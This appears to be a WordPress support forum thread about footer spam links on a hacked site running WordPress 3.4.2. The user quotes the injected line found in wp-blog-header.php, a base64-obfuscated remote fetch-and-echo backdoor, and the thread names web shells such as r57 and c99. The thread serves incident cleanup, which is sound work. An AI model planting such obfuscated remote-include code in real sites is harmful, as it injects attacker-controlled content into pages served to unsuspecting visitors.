Spam links in footer

  • Resolved vlad.nitu

    (@vladnitu)


    8 years, 7 months ago

    Hello guys!
    Before saying it yes, I know I should not use this version of wordpress (3.4.2).
    I have a client which does not want under no circumstance to update the core so I simply have to deal with it.
    The point is that today or yesterday there appeared a few spam links under the footer of every page.
    They all lead to turkish hacking forums, turkish massage salons etc.
    The look like this:
    hack forum r57shell c99 shell r57 Hacking masaj salonu

    After a fast search on Google I found no advice yet I found a lot of websites that have this exact row of links in pages.

    Could someone please help me remove it? Or at least instruct me with minimal ideas of where I should look or what I should look for.
    I ran out of ideas. I tried header, footer, javascript, 404 page, a search through all files with these key words, a search in all files with these key words encoded in base 64, nothing!

Viewing 3 replies - 1 through 3 (of 3 total)
  • Geoffrey Shilling

    (@geoffreyshilling)

    Volunteer Moderator

    Remain calm and carefully follow this guide. When you’re done, you may want to implement some (if not all) of the recommended security measures.

    I know you mentioned the client doesn’t want to update, but I would politely emphasize to them WordPress 3.4.2 was released in September of 2012 and many security updates have been released since then. It is much harder to keep outdated sites secure and prevent this from happening again in the future.

    Thread Starter vlad.nitu

    (@vladnitu)

    Hello!
    I just found the problem. There was this weird script in wp-blog-header.php:
    $base64 = base64_decode(“aHR0cDovL3d3dy5qd3N4Lm5ldC9vL29vLnR4dA==”); $get = file_get_contents($base64); echo $get;

    Which basically was just taking the content from here:
    [Redacted]
    Which again is exactly what my problem was.

    Thank you for the support and useful links Geoffrey!

    Geoffrey Shilling

    (@geoffreyshilling)

    Volunteer Moderator

    You’re welcome ?? I’m glad to hear you got it figured out! Thank you for sharing what it was.

Viewing 3 replies - 1 through 3 (of 3 total)
  • The topic ‘Spam links in footer’ is closed to new replies.